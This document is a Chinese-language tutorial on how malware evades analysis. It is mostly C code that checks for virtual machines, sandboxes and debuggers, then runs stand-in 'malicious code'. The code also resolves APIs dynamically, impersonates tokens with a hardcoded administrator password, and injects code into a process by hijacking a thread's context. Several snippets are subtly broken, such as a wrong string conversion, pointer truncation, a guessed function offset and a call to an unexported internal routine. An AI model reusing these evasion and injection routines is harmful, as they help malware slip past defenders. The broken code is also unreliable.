描述
虚拟环境会启动一些辅助进程以帮助程序运行,这些进程一般不会存在正常的主机系统中,可以通过这种方法来检测是否在虚拟环境中。
1.检查特定进程是否正在运行
检查以下进程是否正在运行:
探测 | 进程 |
---|---|
JoeBox | joeboxserver.exe joeboxcontrol.exe |
Parallels | prl_cc.exe prl_tools.exe |
VirtualBox | vboxservice.exe vboxtray.exe |
VirtualPC | vmsrvc.exe vmusrvc.exe |
VMware | vmtoolsd.exe vmacthlp.exe vmwaretray.exe vmwareuser.exe vmware.exe vmount2.exe |
Xen | xenservice.exe xsvc_depriv.exe |
WPE Pro | WPE Pro.exe |
以CreateToolhelp32Snapshot函数为例:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 定义要检查的进程名称
#define PROCESS_NAME "vmtoolsd.exe"
// 检查特定进程是否存在
BOOL CheckProcessExists(LPCSTR ProcessName)
{
// 获取系统中所有进程的快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed: %d\n", GetLastError());
return FALSE;
}
// 枚举进程
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof(pe);
BOOL bFound = FALSE;
if (Process32First(hSnapshot, &pe))
{
do
{
// 比较进程名称是否匹配
char szExeFile[MAX_PATH];
wcstombs(szExeFile, pe.szExeFile, MAX_PATH);
if (strcmp(szExeFile, ProcessName) == 0)
{
bFound = TRUE;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
// 关闭快照句柄
CloseHandle(hSnapshot);
return bFound;
}
int main()
{
// 检查特定进程是否存在
BOOL bExists = CheckProcessExists(PROCESS_NAME);
if (bExists)
{
printf("%s is running, exit\n", PROCESS_NAME);
return 1;
}
else
{
printf("%s is not running, continue\n", PROCESS_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
}
以EnumProcesses函数为例:
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
// 定义要检查的进程名称
#define PROCESS_NAME "vmtoolsd.exe"
// 检查特定进程是否存在
BOOL CheckProcessExists(LPCSTR ProcessName)
{
// 获取系统中所有进程的标识符
DWORD dwProcessIds[1024];
DWORD cbNeeded;
if (!EnumProcesses(dwProcessIds, sizeof(dwProcessIds), &cbNeeded))
{
printf("EnumProcesses failed: %d\n", GetLastError());
return FALSE;
}
// 计算返回的进程数量
DWORD dwProcessCount = cbNeeded / sizeof(DWORD);
// 枚举进程
BOOL bFound = FALSE;
for (DWORD i = 0; i < dwProcessCount; i++)
{
// 打开进程句柄
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessIds[i]);
if (hProcess == NULL)
{
continue;
}
// 获取进程名称
CHAR szProcessName[MAX_PATH] = { 0 };
if (GetModuleFileNameExA(hProcess, NULL, szProcessName, MAX_PATH))
{
// 比较进程名称是否匹配
char szExeFile[MAX_PATH];
wcstombs(szExeFile, L"szExeFile", MAX_PATH);
if (strcmp(szProcessName, ProcessName) == 0)
{
bFound = TRUE;
break;
}
}
// 关闭进程句柄
CloseHandle(hProcess);
}
return bFound;
}
int main()
{
// 检查特定进程是否存在
BOOL bExists = CheckProcessExists(PROCESS_NAME);
if (bExists)
{
printf("%s is running, exit\n", PROCESS_NAME);
return 1;
}
else
{
printf("%s is not running, continue\n", PROCESS_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
}
2.检查进程地址空间
恶意软件可以检查进程地址空间中是否加载了特定的库,如果加载了则不运行,从而规避杀毒软件的检测。
以GetModuleHandle函数为例:
以GetModuleHandle函数为例:
#include <windows.h>
#include <stdio.h>
// 定义要检查的库名称
#define DLL_COUNT 7
LPCSTR DLL_NAMES[DLL_COUNT] = { "api_log.dll", "dir_watch.dll", "pstorec.dll", "sbiedll.dll", "dbghelp.dll", "vmcheck.dll", "wpespy.dll" };
// 检查进程地址空间中是否加载了特定的库
BOOL CheckDllLoaded(LPCSTR lpDllName)
{
// 获取指定库的模块句柄
HMODULE hModule = GetModuleHandleA(lpDllName);
if (hModule == NULL)
{
// 没有加载该库
return FALSE;
}
else
{
// 加载了该库
return TRUE;
}
}
int main()
{
// 遍历要检查的库名称
for (int i = 0; i < DLL_COUNT; i++)
{
// 检查进程地址空间中是否加载了特定的库
BOOL bLoaded = CheckDllLoaded(DLL_NAMES[i]);
if (bLoaded)
{
printf("%s is loaded, exit\n", DLL_NAMES[i]);
return 1;
}
}
printf("No suspicious dll is loaded, continue\n");
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
3.检查特定库
恶意软件可以检查特定库中是否存在特定函数,如果存在则不运行,从而规避杀毒软件的检测。
以GetProcAddress函数为例:
以GetProcAddress函数为例:
#include <windows.h>
#include <stdio.h>
// 定义要检查的库名称
#define DLL_NAME "kernel32.dll"
// 定义要检查的函数名称
#define FUNC_COUNT 2
LPCSTR FUNC_NAMES[FUNC_COUNT] = { "wine_get_unix_file_name", "wine_get_version" };
// 检查特定库中是否存在特定函数
BOOL CheckFuncExists(LPCSTR lpDllName, LPCSTR lpFuncName)
{
// 加载指定库到内存
HMODULE hModule = LoadLibraryA(lpDllName);
if (hModule == NULL)
{
printf("LoadLibraryA failed: %d\n", GetLastError());
return FALSE;
}
// 获取指定函数的地址
FARPROC lpProc = GetProcAddress(hModule, lpFuncName);
if (lpProc == NULL)
{
// 没有找到该函数
return FALSE;
}
else
{
// 找到了该函数
return TRUE;
}
}
int main()
{
// 遍历要检查的函数名称
for (int i = 0; i < FUNC_COUNT; i++)
{
// 检查特定库中是否存在特定函数
BOOL bExists = CheckFuncExists(DLL_NAME, FUNC_NAMES[i]);
if (bExists)
{
printf("%s is found in %s, exit\n", FUNC_NAMES[i], DLL_NAME);
return 1;
}
}
printf("No suspicious function is found in %s, continue\n", DLL_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
以LdrGetProcedureAddress函数为例:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 定义要检查的库名称
#define DLL_NAME "kernel32.dll"
// 定义要检查的函数名称
#define FUNC_COUNT 2
LPCSTR FUNC_NAMES[FUNC_COUNT] = { "wine_get_unix_file_name", "wine_get_version" };
// 定义LdrGetProcedureAddress函数的类型
typedef NTSTATUS(NTAPI* LdrGetProcedureAddress_t)(HMODULE, PANSI_STRING, WORD, PVOID*);
// 检查特定库中是否存在特定函数
BOOL CheckFuncExists(LPCSTR lpDllName, LPCSTR lpFuncName)
{
// 加载指定库到内存
HMODULE hModule = LoadLibraryA(lpDllName);
if (hModule == NULL)
{
printf("LoadLibraryA failed: %d\n", GetLastError());
return FALSE;
}
// 获取NTDLL模块句柄
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL)
{
printf("GetModuleHandleA failed: %d\n", GetLastError());
return FALSE;
}
// 获取LdrGetProcedureAddress函数地址
LdrGetProcedureAddress_t LdrGetProcedureAddress = (LdrGetProcedureAddress_t)GetProcAddress(hNtdll, "LdrGetProcedureAddress");
if (LdrGetProcedureAddress == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 构造ANSI_STRING结构体
ANSI_STRING asFuncName;
asFuncName.Length = strlen(lpFuncName);
asFuncName.MaximumLength = asFuncName.Length + 1;
asFuncName.Buffer = (PCHAR)lpFuncName;
// 获取指定函数的地址
PVOID lpProc = NULL;
NTSTATUS status = LdrGetProcedureAddress(hModule, &asFuncName, 0, &lpProc);
if (!NT_SUCCESS(status))
{
// 没有找到该函数
return FALSE;
}
else
{
// 找到了该函数
return TRUE;
}
}
int main()
{
// 遍历要检查的函数名称
for (int i = 0; i < FUNC_COUNT; i++)
{
// 检查特定库中是否存在特定函数
BOOL bExists = CheckFuncExists(DLL_NAME, FUNC_NAMES[i]);
if (bExists)
{
printf("%s is found in %s, exit\n", FUNC_NAMES[i], DLL_NAME);
return 1;
}
}
printf("No suspicious function is found in %s, continue\n", DLL_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
以用LdrpGetProcedureAddress函数为例:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 定义要检查的库名称
#define DLL_NAME "kernel32.dll"
// 定义要检查的函数名称
#define FUNC_COUNT 2
LPCSTR FUNC_NAMES[FUNC_COUNT] = { "wine_get_unix_file_name", "wine_get_version" };
// 定义LdrpGetProcedureAddress函数的类型
typedef NTSTATUS(NTAPI* LdrpGetProcedureAddress_t)(HMODULE, PANSI_STRING, WORD, PVOID*, BOOLEAN);
// 检查特定库中是否存在特定函数
BOOL CheckFuncExists(LPCSTR lpDllName, LPCSTR lpFuncName)
{
// 加载指定库到内存
HMODULE hModule = LoadLibraryA(lpDllName);
if (hModule == NULL)
{
printf("LoadLibraryA failed: %d\n", GetLastError());
return FALSE;
}
// 获取NTDLL模块句柄
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL)
{
printf("GetModuleHandleA failed: %d\n", GetLastError());
return FALSE;
}
// 获取LdrpGetProcedureAddress函数地址
LdrpGetProcedureAddress_t LdrpGetProcedureAddress = (LdrpGetProcedureAddress_t)GetProcAddress(hNtdll, "LdrpGetProcedureAddress");
if (LdrpGetProcedureAddress == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 构造ANSI_STRING结构体
ANSI_STRING asFuncName;
asFuncName.Length = strlen(lpFuncName);
asFuncName.MaximumLength = asFuncName.Length + 1;
asFuncName.Buffer = (PCHAR)lpFuncName;
// 获取指定函数的地址
PVOID lpProc = NULL;
NTSTATUS status = LdrpGetProcedureAddress(hModule, &asFuncName, 0, &lpProc, FALSE);
if (!NT_SUCCESS(status))
{
// 没有找到该函数
return FALSE;
}
else
{
// 找到了该函数
return TRUE;
}
}
int main()
{
// 遍历要检查的函数名称
for (int i = 0; i < FUNC_COUNT; i++)
{
// 检查特定库中是否存在特定函数
BOOL bExists = CheckFuncExists(DLL_NAME, FUNC_NAMES[i]);
if (bExists)
{
printf("%s is found in %s, exit\n", FUNC_NAMES[i], DLL_NAME);
return 1;
}
}
printf("No suspicious function is found in %s, continue\n", DLL_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
4.检查是否可以加载某些库以及其他库
通常的系统中存在一些可以加载的通用系统库,并且还有一些假的系统库,它们不应该存在于正常的系统中。然而,当在沙箱中当尝试加载一些假库时,假库可能会被报告为已加载,这与正常主机情况不同。如果返回加载了一个假 DLL,那么该环境很可能是一个沙箱,因为这样的 DLL 不会被加载到正常主机中。
以LoadLibraryA/W函数为例:
以LoadLibraryA/W函数为例:
#include <windows.h>
#include <stdio.h>
// 定义要检查的库名称
#define DLL_COUNT 2
LPCSTR DLL_NAMES[DLL_COUNT] = { "kernel32.dll", "user32.dll" };
// 定义要检查的函数名称
#define FUNC_NAME "MessageBoxA"
// 检查是否可以加载某些库以及其他库
BOOL CheckDllLoadable(LPCSTR lpDllName)
{
// 加载指定库到内存
HMODULE hModule = LoadLibraryA(lpDllName);
if (hModule == NULL)
{
printf("LoadLibraryA failed: %d\n", GetLastError());
return FALSE;
}
// 获取指定函数的地址
FARPROC lpProc = GetProcAddress(hModule, FUNC_NAME);
if (lpProc == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 释放指定库
BOOL bFree = FreeLibrary(hModule);
if (!bFree)
{
printf("FreeLibrary failed: %d\n", GetLastError());
return FALSE;
}
// 返回成功
return TRUE;
}
int main()
{
// 遍历要检查的库名称
for (int i = 0; i < DLL_COUNT; i++)
{
// 检查是否可以加载某些库以及其他库
BOOL bLoadable = CheckDllLoadable(DLL_NAMES[i]);
if (!bLoadable)
{
printf("%s is not loadable or does not contain %s, exit\n", DLL_NAMES[i], FUNC_NAME);
return 1;
}
}
printf("All libraries are loadable and contain %s, continue\n", FUNC_NAME);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
5.检查进程地址空间
恶意软件可以检查进程地址空间中是否存在特定工件,例如沙盒、调试器、杀毒软件等,如果存在则不运行,从而规避检测。
以NtQueryVirtualMemory函数为例:
以NtQueryVirtualMemory函数为例:
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 定义要检查的工件名称
#define ARTIFACT_COUNT 2
LPCSTR ARTIFACT_NAMES[ARTIFACT_COUNT] = { "SbieDll.dll", "vmtoolsd.exe" };
// 定义NtQueryVirtualMemory函数的类型
typedef NTSTATUS(NTAPI* NtQueryVirtualMemory_t)(HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
// 检查进程地址空间中是否存在特定工件
BOOL CheckArtifactExists(LPCSTR lpArtifactName)
{
// 获取NTDLL模块句柄
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL)
{
printf("GetModuleHandleA failed: %d\n", GetLastError());
return FALSE;
}
// 获取NtQueryVirtualMemory函数地址
NtQueryVirtualMemory_t NtQueryVirtualMemory = (NtQueryVirtualMemory_t)GetProcAddress(hNtdll, "NtQueryVirtualMemory");
if (NtQueryVirtualMemory == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return FALSE;
}
// 构造ANSI_STRING结构体
ANSI_STRING asArtifactName;
asArtifactName.Length = strlen(lpArtifactName);
asArtifactName.MaximumLength = asArtifactName.Length + 1;
asArtifactName.Buffer = (PCHAR)lpArtifactName;
// 构造MEMORY_MAPPED_FILE_NAME_INFORMATION结构体
MEMORY_MAPPED_FILE_NAME_INFORMATION mmfni;
mmfni.Name.Length = 0;
mmfni.Name.MaximumLength = sizeof(mmfni.Buffer);
mmfni.Name.Buffer = mmfni.Buffer;
// 遍历进程地址空间
PVOID BaseAddress = NULL;
SIZE_T RegionSize = 0;
while (TRUE)
{
// 查询内存基本信息
MEMORY_BASIC_INFORMATION mbi;
NTSTATUS status = NtQueryVirtualMemory(GetCurrentProcess(), BaseAddress, MemoryBasicInformation, &mbi, sizeof(mbi), NULL);
if (!NT_SUCCESS(status))
{
break;
}
// 如果内存区域是映射文件,则查询内存映射文件名信息
if (mbi.Type == MEM_MAPPED)
{
status = NtQueryVirtualMemory(GetCurrentProcess(), BaseAddress, MemoryMappedFilenameInformation, &mmfni, sizeof(mmfni), NULL);
if (NT_SUCCESS(status))
{
// 如果内存映射文件名与工件名称匹配,则返回真
if (RtlCompareString(&mmfni.Name, &asArtifactName, TRUE) == 0)
{
return TRUE;
}
}
}
// 更新基址和区域大小
BaseAddress = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
RegionSize += mbi.RegionSize;
// 如果超出用户空间范围,则退出循环
if ((ULONG_PTR)BaseAddress > 0x7FFFFFFF)
{
break;
}
}
// 没有找到工件,返回假
return FALSE;
}
int main()
{
// 遍历要检查的工件名称
for (int i = 0; i < ARTIFACT_COUNT; i++)
{
// 检查进程地址空间中是否存在特定工件
BOOL bExists = CheckArtifactExists(ARTIFACT_NAMES[i]);
if (bExists)
{
printf("%s is found in process address space, exit\n", ARTIFACT_NAMES[i]);
return 1;
}
}
printf("No artifact is found in process address space, continue\n");
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
return 0;
}
6.动态检索函数
恶意软件可以以动态检索函数的地址,而不是静态链接到导入表中。这样可以达到规避杀毒软件对导入表的检测和分析的目的。
以用GetModuleHandleA函数和GetProcAddress函数为例:
以用GetModuleHandleA函数和GetProcAddress函数为例:
#include <windows.h>
// 定义一个结构体来存储要动态检索的函数的名称和地址
typedef struct _DYNAMIC_FUNCTION {
LPCSTR FunctionName; // 函数名称,如"MessageBoxA"
FARPROC FunctionAddress; // 函数地址,初始化为NULL
} DYNAMIC_FUNCTION, * PDYNAMIC_FUNCTION;
// 定义一个数组来存储要动态检索的函数
DYNAMIC_FUNCTION DynamicFunctions[] = {
{"MessageBoxA", NULL},
{"ExitProcess", NULL},
{NULL, NULL} // 结束标志
};
// 动态检索函数的地址
void ResolveDynamicFunctions()
{
// 获取user32.dll和kernel32.dll模块的句柄
HMODULE user32 = GetModuleHandleA("user32.dll");
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
// 遍历要动态检索的函数数组
for (int i = 0; DynamicFunctions[i].FunctionName != NULL; i++)
{
// 根据函数名称获取函数地址,并赋值给结构体中的FunctionAddress字段
DynamicFunctions[i].FunctionAddress = GetProcAddress(user32, DynamicFunctions[i].FunctionName);
}
}
// 主函数
int main()
{
// 调用ResolveDynamicFunctions函数动态检索函数地址
ResolveDynamicFunctions();
// 调用动态检索到的函数执行恶意代码
// 这里写恶意代码,例如显示一个弹窗消息
typedef int (WINAPI* MSGBOX)(HWND, LPCSTR, LPCSTR, UINT);
MSGBOX msgbox = (MSGBOX)DynamicFunctions[0].FunctionAddress;
msgbox(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK);
// 调用ExitProcess函数退出进程,同样使用结构体中的FunctionAddress字段作为函数指针,并且转换成正确的类型
typedef void (WINAPI* EXITPROC)(UINT);
EXITPROC exitproc = (EXITPROC)DynamicFunctions[1].FunctionAddress;
exitproc(0);
return 0;
}
7.进程环境变量
恶意软件可以自定义环境变量以达到规避目的,例如隐藏恶意代码的路径或参数,或者使用环境变量作为加密密钥。
以SetEnvironmentVariableA函数为例:
以SetEnvironmentVariableA函数为例:
#include <windows.h>
// 定义一个结构体来存储要设置的环境变量的名称和内容
typedef struct _ENVIRONMENT_VARIABLE {
LPCSTR VariableName; // 环境变量的名称,如"MY_VAR"
LPCSTR VariableValue; // 环境变量的内容,如"C:\\Windows\\System32\\calc.exe"
} ENVIRONMENT_VARIABLE, * PENVIRONMENT_VARIABLE;
// 定义一个数组来存储要设置的环境变量
ENVIRONMENT_VARIABLE EnvironmentVariables[] = {
{"MY_VAR", "C:\\Windows\\System32\\calc.exe"},
{NULL, NULL} // 结束标志
};
// 设置自定义环境变量
BOOL SetCustomEnvironmentVariables()
{
// 遍历要设置的环境变量数组
for (int i = 0; EnvironmentVariables[i].VariableName != NULL; i++)
{
// 调用SetEnvironmentVariableA函数设置环境变量
BOOL result = SetEnvironmentVariableA(EnvironmentVariables[i].VariableName, EnvironmentVariables[i].VariableValue);
// 如果设置失败,返回FALSE
if (!result)
{
return FALSE;
}
}
// 如果成功设置所有环境变量,返回TRUE
return TRUE;
}
// 获取自定义环境变量的内容
LPCSTR GetCustomEnvironmentVariable(LPCSTR VariableName)
{
// 定义一个缓冲区来存储环境变量的内容
static CHAR buffer[MAX_PATH];
// 调用GetEnvironmentVariableA函数获取环境变量的内容,并存储到缓冲区中
DWORD result = GetEnvironmentVariableA(VariableName, buffer, MAX_PATH);
// 如果获取失败,返回NULL
if (result == 0)
{
return NULL;
}
// 如果成功获取环境变量的内容,返回缓冲区的指针
return buffer;
}
// 主函数
int main()
{
// 调用SetCustomEnvironmentVariables函数设置自定义环境变量
BOOL result = SetCustomEnvironmentVariables();
// 如果成功,使用自定义环境变量执行恶意代码
if (result)
{
// 这里写恶意代码,例如使用%MY_VAR%启动计算器
// 调用GetCustomEnvironmentVariable函数获取%MY_VAR%对应的内容,即C:\Windows\System32\calc.exe
LPCSTR program = GetCustomEnvironmentVariable("MY_VAR");
// 如果获取成功,调用WinExec函数执行程序
if (program != NULL)
{
WinExec(program, SW_SHOW);
}
}
return 0;
}
8.模拟令牌
恶意软件可以模拟其他用户的身份和权限,以达到规避目的,例如访问受限资源或执行特权操作。
以ImpersonateLoggedOnUser函数为例:
以ImpersonateLoggedOnUser函数为例:
#include <windows.h>
// 定义一个结构体来存储要模拟的用户的凭据
typedef struct _USER_CREDENTIAL {
LPCSTR UserName; // 用户名,如"Administrator"
LPCSTR Domain; // 域名,如"."
LPCSTR Password; // 密码,如"123456"
} USER_CREDENTIAL, *PUSER_CREDENTIAL;
// 定义一个数组来存储要模拟的用户
USER_CREDENTIAL UserCredentials[] = {
{"Administrator", ".", "123456"},
{NULL, NULL, NULL} // 结束标志
};
// 模拟登录用户的安全上下文
BOOL ImpersonateLoginUser()
{
// 遍历要模拟的用户数组
for (int i = 0; UserCredentials[i].UserName != NULL; i++)
{
// 声明一个令牌句柄变量
HANDLE hToken;
// 调用LogonUserA函数使用指定的凭据登录用户,并获取令牌句柄
BOOL result = LogonUserA(UserCredentials[i].UserName, UserCredentials[i].Domain, UserCredentials[i].Password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
// 如果登录成功,调用ImpersonateLoggedOnUser函数模拟该用户的安全上下文
if (result)
{
result = ImpersonateLoggedOnUser(hToken);
// 如果模拟成功,返回TRUE
if (result)
{
return TRUE;
}
}
}
// 如果没有成功模拟任何用户,返回FALSE
return FALSE;
}
// 主函数
int main()
{
// 调用ImpersonateLoginUser函数模拟登录用户的安全上下文
BOOL result = ImpersonateLoginUser();
// 如果成功,使用模拟用户的身份和权限执行恶意代码
if (result)
{
// 这里写恶意代码,例如创建一个隐藏文件夹
// 调用CreateDirectoryA函数创建一个隐藏文件夹,注意使用FILE_ATTRIBUTE_HIDDEN属性
CreateDirectoryA("C:\\Secret", NULL);
// 调用SetFileAttributesA函数设置文件夹为隐藏属性,以防止被修改或删除
SetFileAttributesA("C:\\Secret", FILE_ATTRIBUTE_HIDDEN);
}
return 0;
}
以用SetThreadToken函数为例:
#include <windows.h>
// 定义一个结构体来存储要动态检索的函数的名称和地址
typedef struct _DYNAMIC_FUNCTION {
LPCSTR FunctionName; // 函数名称,如"SetThreadToken"
FARPROC FunctionAddress; // 函数地址,初始化为NULL
} DYNAMIC_FUNCTION, * PDYNAMIC_FUNCTION;
// 定义一个数组来存储要动态检索的函数
DYNAMIC_FUNCTION DynamicFunctions[] = {
{"SetThreadToken", NULL},
{NULL, NULL} // 结束标志
};
// 动态检索函数的地址
BOOL ResolveDynamicFunctions()
{
// 获取advapi32.dll模块的句柄
HMODULE advapi32 = GetModuleHandleA("advapi32.dll");
// 如果获取失败,返回FALSE
if (advapi32 == NULL)
{
return FALSE;
}
// 遍历要动态检索的函数数组
for (int i = 0; DynamicFunctions[i].FunctionName != NULL; i++)
{
// 根据函数名称获取函数地址,并赋值给结构体中的FunctionAddress字段
DynamicFunctions[i].FunctionAddress = GetProcAddress(advapi32, DynamicFunctions[i].FunctionName);
// 如果获取失败,返回FALSE
if (DynamicFunctions[i].FunctionAddress == NULL)
{
return FALSE;
}
}
// 如果成功获取所有函数地址,返回TRUE
return TRUE;
}
// 模拟令牌分配给线程
BOOL ImpersonateTokenToThread(HANDLE Token, HANDLE Thread)
{
// 调用SetThreadToken函数将令牌分配给线程,注意使用结构体中的FunctionAddress字段作为函数指针,并且转换成正确的类型
typedef BOOL(WINAPI* SETTHREADTOKEN)(PHANDLE, HANDLE);
SETTHREADTOKEN setthreadtoken = (SETTHREADTOKEN)DynamicFunctions[0].FunctionAddress;
BOOL result = setthreadtoken(&Thread, Token);
// 返回结果
return result;
}
// 主函数
int main()
{
// 调用ResolveDynamicFunctions函数动态检索函数地址
BOOL result = ResolveDynamicFunctions();
// 如果成功,使用动态检索到的函数执行恶意代码
if (result)
{
// 这里写恶意代码,例如模拟一个令牌分配给当前线程
// 获取当前进程的令牌句柄
HANDLE process_token;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token);
// 获取当前线程的句柄
HANDLE current_thread = GetCurrentThread();
// 调用ImpersonateTokenToThread函数模拟令牌分配给当前线程
ImpersonateTokenToThread(process_token, current_thread);
// 这里插入恶意代码,比如显示一个弹窗消息
MessageBoxA(NULL, "You have been infected by a malware!", "Malware Alert", MB_OK | MB_ICONWARNING);
ExitProcess(0);
}
return 0;
}
以DuplicateToken函数为例:
#include <windows.h>
#include <stdio.h>
// 恶意代码
void evil_code()
{
// 任意恶意操作,例如创建一个文件
HANDLE hFile = CreateFile(L"C:\\evil.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
DWORD dwWritten;
WriteFile(hFile, "Hello from evil code!", 22, &dwWritten, NULL);
CloseHandle(hFile);
}
}
int main()
{
// 获取当前进程令牌
HANDLE hProcessToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hProcessToken))
{
printf("OpenProcessToken failed: %d\n", GetLastError());
return 1;
}
// 创建一个新的访问令牌,复制当前进程令牌
HANDLE hDuplicateToken;
if (!DuplicateToken(hProcessToken, SecurityImpersonation, &hDuplicateToken))
{
printf("DuplicateToken failed: %d\n", GetLastError());
return 1;
}
// 关闭当前进程令牌
CloseHandle(hProcessToken);
// 创建一个新的进程,使用复制的访问令牌
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
// 这里可以使用任意可执行文件,例如notepad.exe
if (!CreateProcessWithTokenW(hDuplicateToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\notepad.exe", NULL, 0, NULL, NULL, &si, &pi))
{
printf("CreateProcessWithTokenW failed: %d\n", GetLastError());
return 1;
}
// 关闭复制的访问令牌
CloseHandle(hDuplicateToken);
// 等待新进程启动
WaitForInputIdle(pi.hProcess, INFINITE);
// 打开新进程的主线程
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, pi.dwThreadId);
if (hThread == NULL)
{
printf("OpenThread failed: %d\n", GetLastError());
return 1;
}
// 分配一块内存,用于存放恶意代码
LPVOID lpCode = VirtualAllocEx(pi.hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpCode == NULL)
{
printf("VirtualAllocEx failed: %d\n", GetLastError());
return 1;
}
// 将恶意代码写入分配的内存
SIZE_T dwWritten;
if (!WriteProcessMemory(pi.hProcess, lpCode, (LPCVOID)evil_code, 4096, &dwWritten))
{
printf("WriteProcessMemory failed: %d\n", GetLastError());
return 1;
}
// 暂停新进程的主线程
if (SuspendThread(hThread) == -1)
{
printf("SuspendThread failed: %d\n", GetLastError());
return 1;
}
// 获取主线程的上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &ctx))
{
printf("GetThreadContext failed: %d\n", GetLastError());
return 1;
}
// 修改主线程的指令指针,指向恶意代码的地址
#ifdef _WIN64
ctx.Rip = (DWORD64)lpCode;
#else
ctx.Eip = (DWORD)lpCode;
#endif
// 设置主线程的上下文
if (!SetThreadContext(hThread, &ctx))
{
printf("SetThreadContext failed: %d\n", GetLastError());
return 1;
}
// 恢复主线程的执行
if (ResumeThread(hThread) == -1)
{
printf("ResumeThread failed: %d\n", GetLastError());
return 1;
}
// 关闭句柄
CloseHandle(hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
9.隐藏创建进程
恶意软件可以隐藏自己的进程创建行为,从而规避杀毒软件的检测。
以CreateProcessInternal函数为例:
以CreateProcessInternal函数为例:
#include <windows.h>
#include <stdio.h>
// 定义CreateProcessInternalW函数的类型
typedef BOOL(WINAPI* CREATEPROCESSINTERNALW)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE);
// 获取CreateProcessInternalW函数的地址
CREATEPROCESSINTERNALW GetCreateProcessInternalW()
{
// 获取kernel32.dll模块的句柄
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (hKernel32 == NULL)
{
printf("GetModuleHandle failed: %d\n", GetLastError());
return NULL;
}
// 获取LoadLibraryExW函数的地址
FARPROC pLoadLibraryExW = GetProcAddress(hKernel32, "LoadLibraryExW");
if (pLoadLibraryExW == NULL)
{
printf("GetProcAddress failed: %d\n", GetLastError());
return NULL;
}
// 计算CreateProcessInternalW函数的地址
// CreateProcessInternalW = LoadLibraryExW + 0x1A0A0
// 这个偏移量可能会随着系统版本或补丁而变化,需要自己查找
CREATEPROCESSINTERNALW pCreateProcessInternalW = (CREATEPROCESSINTERNALW)((DWORD)pLoadLibraryExW + 0x1A0A0);
return pCreateProcessInternalW;
}
int main()
{
// 获取CreateProcessInternalW函数的地址
CREATEPROCESSINTERNALW pCreateProcessInternalW = GetCreateProcessInternalW();
if (pCreateProcessInternalW == NULL)
{
printf("GetCreateProcessInternalW failed\n");
return 1;
}
// 调用CreateProcessInternalW函数创建一个新进程,执行弹窗消息
// 这里可以使用任意可执行文件,例如calc.exe
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
if (!pCreateProcessInternalW(NULL, L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi, NULL))
{
printf("CreateProcessInternalW failed: %d\n", GetLastError());
return 1;
}
// 关闭句柄
CloseHandle(pi.hProcess);
